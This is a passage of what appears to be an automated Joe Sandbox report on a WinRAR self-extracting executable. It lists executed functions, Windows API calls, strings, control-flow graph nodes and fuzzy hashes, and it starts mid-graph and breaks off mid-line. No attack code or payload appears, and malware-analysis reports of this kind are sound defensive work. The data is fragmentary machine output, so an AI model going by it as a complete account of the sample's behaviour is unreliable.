24046->24038 24046->24040 24046->24043 24047 be2bbe 22 API calls 24046->24047 24055 bdba2d GetDlgItem SetWindowTextW SendMessageW 24046->24055 24058 bdba6f SendMessageW 24046->24058 24061 bdb647 ___scrt_fastfail 24046->24061 24062 bd1438 CompareStringW 24046->24062 24086 bd966b GetCurrentDirectoryW 24046->24086 24087 bca2b9 7 API calls 24046->24087 24090 bca242 FindClose 24046->24090 24091 bda321 71 API calls new 24046->24091 24047->24046 24049 bdb654 SetFileAttributesW 24051 bdb70f GetFileAttributesW 24049->24051 24049->24061 24053 bdb71d DeleteFileW 24051->24053 24051->24061 24053->24061 24055->24046 24056 bc3f53 _swprintf 51 API calls 24057 bdb752 GetFileAttributesW 24056->24057 24059 bdb763 MoveFileW 24057->24059 24057->24061 24058->24046 24060 bdb77b MoveFileExW 24059->24060 24059->24061 24060->24061 24061->24046 24061->24049 24061->24051 24061->24056 24088 bcb254 52 API calls 2 library calls 24061->24088 24089 bca2b9 7 API calls 24061->24089 24062->24046 24065 bdc491 ___scrt_fastfail 24063->24065 24064 bdc6e9 24064->24046 24065->24064 24066 bdc57c 24065->24066 24092 bd1438 CompareStringW 24065->24092 24068 bc9f0f 4 API calls 24066->24068 24069 bdc591 24068->24069 24070 bdc5b0 ShellExecuteExW 24069->24070 24093 bcaf74 GetFullPathNameW GetFullPathNameW GetCurrentDirectoryW CharUpperW 24069->24093 24070->24064 24075 bdc5c3 24070->24075 24072 bdc5a8 24072->24070 24073 bdc5fe 24094 bdc946 WaitForSingleObject PeekMessageW WaitForSingleObject 24073->24094 24074 bdc654 CloseHandle 24076 bdc66d 24074->24076 24077 bdc662 24074->24077 24075->24073 24075->24074 24078 bdc5f8 ShowWindow 24075->24078 24076->24064 24082 bdc6e4 ShowWindow 24076->24082 24095 bd1438 CompareStringW 24077->24095 24078->24073 24081 bdc616 24081->24074 24083 bdc629 GetExitCodeProcess 24081->24083 24082->24064 24083->24074 24084 bdc63c 24083->24084 24084->24074 24086->24046 24087->24046 24088->24061 24089->24061 24090->24046 24091->24046 24092->24066 24093->24072 24094->24081 24095->24076 24824 bd1657 26 API calls std::bad_exception::bad_exception 24794 be9155 21 API calls _free 24765 bc1050 77 API calls pre_c_initialization 24795 bc9550 74 API calls 24716 be994b 24717 be9956 24716->24717 24719 be997f 24717->24719 24720 be997b 24717->24720 24722 be9c5d 24717->24722 24729 be99a3 DeleteCriticalSection 24719->24729 24723 be99eb _free 5 API calls 24722->24723 24724 be9c84 24723->24724 24725 be9ca2 InitializeCriticalSectionAndSpinCount 24724->24725 24726 be9c8d 24724->24726 24725->24726 24727 bde243 DloadUnlock 5 API calls 24726->24727 24728 be9cb9 24727->24728 24728->24717 24729->24720 24797 bef544 IsProcessorFeaturePresent 24767 bd9440 GdipDisposeImage GdipFree __except_handler4 24827 be2a40 RtlUnwind

                Executed Functions

                Function 00BDCC0E Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 199filesleeptimeCOMMON
                Download Yara Rule

                Control-flow Graph

                APIs
                  • Part of subcall function 00BCFD60: GetModuleHandleW.KERNEL32 ref: 00BCFD78
                  • Part of subcall function 00BCFD60: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00BCFD90
                  • Part of subcall function 00BCFD60: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00BCFDB3
                  • Part of subcall function 00BD966B: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00BD9673
                  • Part of subcall function 00BD9B13: OleInitialize.OLE32(00000000), ref: 00BD9B2C
                  • Part of subcall function 00BD9B13: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00BD9B63
                  • Part of subcall function 00BD9B13: SHGetMalloc.SHELL32(00C075C0), ref: 00BD9B6D
                  • Part of subcall function 00BD103F: GetCPInfo.KERNEL32(00000000,?), ref: 00BD1050
                  • Part of subcall function 00BD103F: IsDBCSLeadByte.KERNEL32(00000000), ref: 00BD1064
                • GetCommandLineW.KERNEL32 ref: 00BDCC56
                • OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00BDCC7D
                • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 00BDCC8E
                • UnmapViewOfFile.KERNEL32(00000000), ref: 00BDCCC8
                  • Part of subcall function 00BDC8E7: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00BDC8FD
                  • Part of subcall function 00BDC8E7: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00BDC939
                • CloseHandle.KERNEL32(00000000), ref: 00BDCCD1
                • GetModuleFileNameW.KERNEL32(00000000,00C1CE18,00000800), ref: 00BDCCEC
                • SetEnvironmentVariableW.KERNEL32(sfxname,00C1CE18), ref: 00BDCCFE
                • GetLocalTime.KERNEL32(?), ref: 00BDCD05
                • _swprintf.LIBCMT ref: 00BDCD44
                • SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00BDCD56
                • GetModuleHandleW.KERNEL32(00000000), ref: 00BDCD59
                • LoadIconW.USER32(00000000,00000064), ref: 00BDCD70
                • DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001A62C,00000000), ref: 00BDCDC1
                • Sleep.KERNEL32(?), ref: 00BDCDEF
                • DeleteObject.GDI32 ref: 00BDCE2E
                • DeleteObject.GDI32(?), ref: 00BDCE3A
                • CloseHandle.KERNEL32 ref: 00BDCE79
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$ByteCommandCurrentDialogDirectoryGdiplusIconInfoInitializeLeadLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
                • String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
                • API String ID: 788466649-277078469
                • Opcode ID: 0e7d4ed40272b331022ed14213ecc47c0ee1e9a20940b1437e6eba8455ff9490
                • Instruction ID: f58c6c621bb05d081423cbb7048d3a089cba46d6ef6eb88ac431e70b55f766c5
                • Opcode Fuzzy Hash: 0e7d4ed40272b331022ed14213ecc47c0ee1e9a20940b1437e6eba8455ff9490
                • Instruction Fuzzy Hash: 3661C3B1904241ABD710AB64EC49F7BBBECEB49700F0540AAF545A72A1EF74AD44CB61
                Function 00BD96AD Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 92memorywindowCOMMON
                Download Yara Rule

                Control-flow Graph

                • Executed
                • Not Executed
                control_flow_graph 769 bd96ad-bd96c8 FindResourceW 770 bd96ce-bd96e0 SizeofResource 769->770 771 bd97a3-bd97a5 769->771 772 bd9700-bd9702 770->772 773 bd96e2-bd96f1 LoadResource 770->773 774 bd97a2 772->774 773->772 775 bd96f3-bd96fe LockResource 773->775 774->771 775->772 776 bd9707-bd971c GlobalAlloc 775->776 777 bd979c-bd97a1 776->777 778 bd971e-bd9727 GlobalLock 776->778 777->774 779 bd9729-bd9747 call bdea80 CreateStreamOnHGlobal 778->779 780 bd9795-bd9796 GlobalFree 778->780 783 bd978e-bd978f GlobalUnlock 779->783 784 bd9749-bd9761 call bd9642 779->784 780->777 783->780 784->783 788 bd9763-bd976b 784->788 789 bd976d-bd9781 GdipCreateHBITMAPFromBitmap 788->789 790 bd9786-bd978a 788->790 789->790 791 bd9783 789->791 790->783 791->790
                APIs
                • FindResourceW.KERNEL32(00000066,PNG,?,?,00BDA5A5,00000066), ref: 00BD96BE
                • SizeofResource.KERNEL32(00000000,751E5780,?,?,00BDA5A5,00000066), ref: 00BD96D6
                • LoadResource.KERNEL32(00000000,?,?,00BDA5A5,00000066), ref: 00BD96E9
                • LockResource.KERNEL32(00000000,?,?,00BDA5A5,00000066), ref: 00BD96F4
                • GlobalAlloc.KERNELBASE(00000002,00000000,00000000,?,?,?,00BDA5A5,00000066), ref: 00BD9712
                • GlobalLock.KERNEL32(00000000), ref: 00BD971F
                • CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00BD973F
                • GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00BD977A
                • GlobalUnlock.KERNEL32(00000000), ref: 00BD978F
                • GlobalFree.KERNEL32(00000000), ref: 00BD9796
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: Global$Resource$CreateLock$AllocBitmapFindFreeFromGdipLoadSizeofStreamUnlock
                • String ID: PNG
                • API String ID: 3656887471-364855578
                • Opcode ID: 5874845fa2ae0ee372d2f3ecb8c2f2d40497610094d526a14167dbf6032e15b0
                • Instruction ID: 8039c0c54082932dd22ae4e4f3b35c09348665d0ae1b9cc23d4464f79ea72f72
                • Opcode Fuzzy Hash: 5874845fa2ae0ee372d2f3ecb8c2f2d40497610094d526a14167dbf6032e15b0
                • Instruction Fuzzy Hash: DF218D71611306ABD7269F61DC88A3BBBEDFF85790B15056AF945D3260EB31DC00CAA1
                Function 00BCA383 Relevance: 7.6, APIs: 5, Instructions: 108fileCOMMON
                Download Yara Rule

                Control-flow Graph

                • Executed
                • Not Executed
                control_flow_graph 962 bca383-bca3a9 call bdd9c0 965 bca41d-bca426 FindNextFileW 962->965 966 bca3ab-bca3be FindFirstFileW 962->966 967 bca43c-bca43e 965->967 968 bca428-bca436 GetLastError 965->968 969 bca444-bca4ed call bcfae7 call bcba56 call bd0aa9 * 3 966->969 970 bca3c4-bca3df call bcb3c9 966->970 967->969 972 bca4f2-bca505 967->972 968->967 969->972 976 bca3f6-bca3ff GetLastError 970->976 977 bca3e1-bca3f4 FindFirstFileW 970->977 980 bca410 976->980 981 bca401-bca404 976->981 977->969 977->976 984 bca412-bca418 980->984 981->980 983 bca406-bca409 981->983 983->980 986 bca40b-bca40e 983->986 984->972 986->984
                APIs
                • FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00BCA27E,000000FF,?,?), ref: 00BCA3B8
                • FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,?,?,?,00BCA27E,000000FF,?,?), ref: 00BCA3EE
                • GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00BCA27E,000000FF,?,?), ref: 00BCA3F6
                • FindNextFileW.KERNEL32(?,?,?,?,?,?,00BCA27E,000000FF,?,?), ref: 00BCA41E
                • GetLastError.KERNEL32(?,?,?,?,00BCA27E,000000FF,?,?), ref: 00BCA42A
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: FileFind$ErrorFirstLast$Next
                • String ID:
                • API String ID: 869497890-0
                • Opcode ID: 29f2452b04c8129e07e2dadfce8f5c58b77fb15d6742cead00e8e4d6e2c4908c
                • Instruction ID: 764ecacae758202d017b79ef41766b990894297918d79e7548a3dd8ec1814788
                • Opcode Fuzzy Hash: 29f2452b04c8129e07e2dadfce8f5c58b77fb15d6742cead00e8e4d6e2c4908c
                • Instruction Fuzzy Hash: 4A415272604245AFC324EF68C885EEAF7E8FB48344F004A6EF5D9D3240D774A9549B92
                Function 00BE6B19 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                Download Yara Rule
                APIs
                • GetCurrentProcess.KERNEL32(00000003,?,00BE6AEF,00000003,00BFA8C8,0000000C,00BE6C46,00000003,00000002,00000000,?,00BE7B90,00000003), ref: 00BE6B3A
                • TerminateProcess.KERNEL32(00000000,?,00BE6AEF,00000003,00BFA8C8,0000000C,00BE6C46,00000003,00000002,00000000,?,00BE7B90,00000003), ref: 00BE6B41
                • ExitProcess.KERNEL32 ref: 00BE6B53
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: Process$CurrentExitTerminate
                • String ID:
                • API String ID: 1703294689-0
                • Opcode ID: 9921f036352ad480843572f45036fdc8b7bfc63d211272ade2866a54232b85f0
                • Instruction ID: 73eb4a6debd42988fb3936801e080abb7b1d9ed4bb06f79e55bed893c3406018
                • Opcode Fuzzy Hash: 9921f036352ad480843572f45036fdc8b7bfc63d211272ade2866a54232b85f0
                • Instruction Fuzzy Hash: CCE0B676001288ABDF116F76DD0AE687FA9EF50381F008064F9059B221DF35ED52CB90
                Function 00BC8458 Relevance: 3.9, APIs: 2, Instructions: 940COMMON
                Download Yara Rule
                APIs
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: H_prolog_memcmp
                • String ID:
                • API String ID: 3004599000-0
                • Opcode ID: b171167df5465f83b3de4aade15c659ea582361ff4bbe8fced674603e2da906f
                • Instruction ID: 1cb736ca0b618792c7cba98033b237c8cb25a5b81ba02dbba209979cb911866f
                • Opcode Fuzzy Hash: b171167df5465f83b3de4aade15c659ea582361ff4bbe8fced674603e2da906f
                • Instruction Fuzzy Hash: A2820471904285AEDF25DF64C885FFABBE9EF15300F0844FEE8599B142DB319A85CB60
                Function 00BD62E0 Relevance: .3, Instructions: 325COMMON
                Download Yara Rule
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: H_prolog
                • String ID:
                • API String ID: 3519838083-0
                • Opcode ID: e97a3e99c419ab3d31fc1b3c85e88f98bca51de35e0f240377b161871ecce615
                • Instruction ID: d92171c223d7e2abcee94b093c71dc024f953e44a4dd9ab27a3368ce591207a9
                • Opcode Fuzzy Hash: e97a3e99c419ab3d31fc1b3c85e88f98bca51de35e0f240377b161871ecce615
                • Instruction Fuzzy Hash: D1D1E6B1A043458FDB14CF28D88179AFBE0FF95308F0445AEE9449B742E734E959CB9A
                Function 00BDA62C Relevance: 100.5, APIs: 48, Strings: 9, Instructions: 724COMMON
                Download Yara Rule
                APIs
                • __EH_prolog.LIBCMT ref: 00BDA631
                  • Part of subcall function 00BC12D7: GetDlgItem.USER32(00000000,00003021), ref: 00BC131B
                  • Part of subcall function 00BC12D7: SetWindowTextW.USER32(00000000,00BF22E4), ref: 00BC1331
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: H_prologItemTextWindow
                • String ID: "%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
                • API String ID: 810644672-3870082069
                • Opcode ID: d7c2d3d848aa6851f026570f9f716900b0de2c1008e4ca5325102cc3f433dd07
                • Instruction ID: 2c6a30a40c9d63023580cb4fd64a05ea742804507075e670755150b5fe13eafa
                • Opcode Fuzzy Hash: d7c2d3d848aa6851f026570f9f716900b0de2c1008e4ca5325102cc3f433dd07
                • Instruction Fuzzy Hash: 8542F771944344AEEB259B609C85FFEBBE8EB01700F0541EAF601A72D1EB759D44CB62
                Function 00BCFD60 Relevance: 51.1, APIs: 22, Strings: 7, Instructions: 314libraryfileloaderCOMMON
                Download Yara Rule

                Control-flow Graph

                • Executed
                • Not Executed
                control_flow_graph 256 bcfd60-bcfd82 call bdd9c0 GetModuleHandleW 259 bcfd84-bcfd9b GetProcAddress 256->259 260 bcfdd5-bd003c 256->260 263 bcfdad-bcfdb7 GetProcAddress 259->263 264 bcfd9d-bcfdaa 259->264 261 bd010a-bd013b GetModuleFileNameW call bcb9e0 call bcfae7 260->261 262 bd0042-bd004d call be66d8 260->262 276 bd013d-bd0147 call bcaa39 261->276 262->261 271 bd0053-bd0080 GetModuleFileNameW CreateFileW 262->271 263->260 267 bcfdb9-bcfdd0 263->267 264->263 267->260 274 bd00fe-bd0105 CloseHandle 271->274 275 bd0082-bd0090 SetFilePointer 271->275 274->261 275->274 277 bd0092-bd00af ReadFile 275->277 282 bd0149-bd014d call bcfd16 276->282 283 bd0154 276->283 277->274 279 bd00b1-bd00d6 277->279 281 bd00f3-bd00fc call bcf86b 279->281 281->274 291 bd00d8-bd00f2 call bcfd16 281->291 288 bd0152 282->288 286 bd0156-bd0158 283->286 289 bd017a-bd019c call bcba56 GetFileAttributesW 286->289 290 bd015a-bd0178 CompareStringW 286->290 288->286 293 bd019e-bd01a2 289->293 298 bd01a6 289->298 290->289 290->293 291->281 293->276 295 bd01a4 293->295 299 bd01aa-bd01af 295->299 298->299 300 bd01b1 299->300 301 bd01e3-bd01e5 299->301 302 bd01b3-bd01d5 call bcba56 GetFileAttributesW 300->302 303 bd01eb-bd0202 call bcba2a call bcaa39 301->303 304 bd02f2-bd02fc 301->304 309 bd01df 302->309 310 bd01d7-bd01db 302->310 314 bd026a-bd029d call bc3f53 AllocConsole 303->314 315 bd0204-bd0265 call bcfd16 * 2 call bcda8b call bc3f53 call bcda8b call bd97a8 303->315 309->301 310->302 313 bd01dd 310->313 313->301 320 bd029f-bd02e4 GetCurrentProcessId AttachConsole call be2b93 GetStdHandle WriteConsoleW Sleep FreeConsole 314->320 321 bd02ea-bd02ec ExitProcess 314->321 315->321 320->321
                APIs
                • GetModuleHandleW.KERNEL32 ref: 00BCFD78
                • GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00BCFD90
                • GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00BCFDB3
                • GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00BD005E
                • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BD0076
                • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00BD0088
                • ReadFile.KERNEL32(00000000,?,00007FFE,00BF28D4,00000000), ref: 00BD00A7
                • CloseHandle.KERNEL32(00000000), ref: 00BD00FF
                • GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00BD0115
                • CompareStringW.KERNEL32(00000400,00001001,00BF2920,?,DXGIDebug.dll,?,?,00000000,?,00000800), ref: 00BD016F
                • GetFileAttributesW.KERNELBASE(?,?,00BF28EC,00000800,?,00000000,?,00000800), ref: 00BD0198
                • GetFileAttributesW.KERNEL32(?,?,00BF29AC,00000800), ref: 00BD01D1
                  • Part of subcall function 00BCFD16: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00BCFD31
                  • Part of subcall function 00BCFD16: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00BCE82C,Crypt32.dll,?,00BCE8AE,?,00BCE892,?,?,?,?), ref: 00BCFD53
                • _swprintf.LIBCMT ref: 00BD0241
                • _swprintf.LIBCMT ref: 00BD028D
                  • Part of subcall function 00BC3F53: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BC3F66
                • AllocConsole.KERNEL32 ref: 00BD0295
                • GetCurrentProcessId.KERNEL32 ref: 00BD029F
                • AttachConsole.KERNEL32(00000000), ref: 00BD02A6
                • GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00BD02CC
                • WriteConsoleW.KERNEL32(00000000), ref: 00BD02D3
                • Sleep.KERNEL32(00002710), ref: 00BD02DE
                • FreeConsole.KERNEL32 ref: 00BD02E4
                • ExitProcess.KERNEL32 ref: 00BD02EC
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l
                • String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
                • API String ID: 1201351596-3298887752
                • Opcode ID: 530ef4966b8fc15ca0bcd158f0cc09476ec22ec3adda628cf834d58f2e1cd62e
                • Instruction ID: 78e8794d027e067945809e890382073fad81786948dc35356cb694cd80a6a066
                • Opcode Fuzzy Hash: 530ef4966b8fc15ca0bcd158f0cc09476ec22ec3adda628cf834d58f2e1cd62e
                • Instruction Fuzzy Hash: E8D163720093899BD330DF60C849FAFBBE8EB85704F5049ADF68997250DBB0854DCB62
                Function 00BDB522 Relevance: 31.9, APIs: 14, Strings: 4, Instructions: 438windowfileCOMMON
                Download Yara Rule

                Control-flow Graph

                • Executed
                • Not Executed
                control_flow_graph 403 bdb522-bdb53a call bdd8c4 call bdd9c0 408 bdb540-bdb56a call bda1c9 403->408 409 bdc122-bdc12f 403->409 408->409 412 bdb570-bdb575 408->412 413 bdb576-bdb584 412->413 414 bdb585-bdb595 call bd9e97 413->414 417 bdb597 414->417 418 bdb599-bdb5ae call bd1438 417->418 421 bdb5bb-bdb5be 418->421 422 bdb5b0-bdb5b4 418->422 424 bdc0ee-bdc119 call bda1c9 421->424 425 bdb5c4 421->425 422->418 423 bdb5b6 422->423 423->424 424->413 436 bdc11f-bdc121 424->436 427 bdb878-bdb87a 425->427 428 bdb5cb-bdb5ce 425->428 429 bdb85b-bdb85d 425->429 430 bdb7ba-bdb7bc 425->430 427->424 434 bdb880-bdb887 427->434 428->424 433 bdb5d4-bdb641 call bd966b call bcb6c2 call bca22c call bca366 call bc6fec call bca2b9 428->433 429->424 432 bdb863-bdb873 SetWindowTextW 429->432 430->424 435 bdb7c2-bdb7ce 430->435 432->424 502 bdb647-bdb64d 433->502 503 bdb7a6-bdb7b5 call bca242 433->503 434->424 438 bdb88d-bdb8a6 434->438 439 bdb7d0-bdb7e1 call be6763 435->439 440 bdb7e2-bdb7e7 435->440 436->409 444 bdb8ae-bdb8bc call be2b93 438->444 445 bdb8a8 438->445 439->440 441 bdb7e9-bdb7ef 440->441 442 bdb7f1-bdb7fc call bda321 440->442 447 bdb801-bdb803 441->447 442->447 444->424 460 bdb8c2-bdb8cb 444->460 445->444 453 bdb80e-bdb82e call be2b93 call be2bbe 447->453 454 bdb805-bdb80c call be2b93 447->454 480 bdb847-bdb849 453->480 481 bdb830-bdb837 453->481 454->453 461 bdb8cd-bdb8d1 460->461 462 bdb8f4-bdb8f7 460->462 461->462 466 bdb8d3-bdb8db 461->466 467 bdb8fd-bdb900 462->467 468 bdb9dc-bdb9ea call bcfae7 462->468 466->424 473 bdb8e1-bdb8ef call bcfae7 466->473 474 bdb90d-bdb928 467->474 475 bdb902-bdb907 467->475 483 bdb9ec-bdba00 call be0d9b 468->483 473->483 493 bdb92a-bdb964 474->493 494 bdb972-bdb979 474->494 475->468 475->474 480->424 484 bdb84f-bdb856 call be2bae 480->484 487 bdb83e-bdb846 call be6763 481->487 488 bdb839-bdb83b 481->488 504 bdba0d-bdba60 call bcfae7 call bda06f GetDlgItem SetWindowTextW SendMessageW call be2bc9 483->504 505 bdba02-bdba06 483->505 484->424 487->480 488->487 521 bdb968-bdb96a 493->521 522 bdb966 493->522 496 bdb97b-bdb993 call be2b93 494->496 497 bdb9a7-bdb9ca call be2b93 * 2 494->497 496->497 514 bdb995-bdb9a2 call bcfabf 496->514 497->483 533 bdb9cc-bdb9da call bcfabf 497->533 509 bdb654-bdb669 SetFileAttributesW 502->509 503->424 542 bdba65-bdba69 504->542 505->504 510 bdba08-bdba0a 505->510 515 bdb70f-bdb71b GetFileAttributesW 509->515 516 bdb66f-bdb6a2 call bcb254 call bcaf49 call 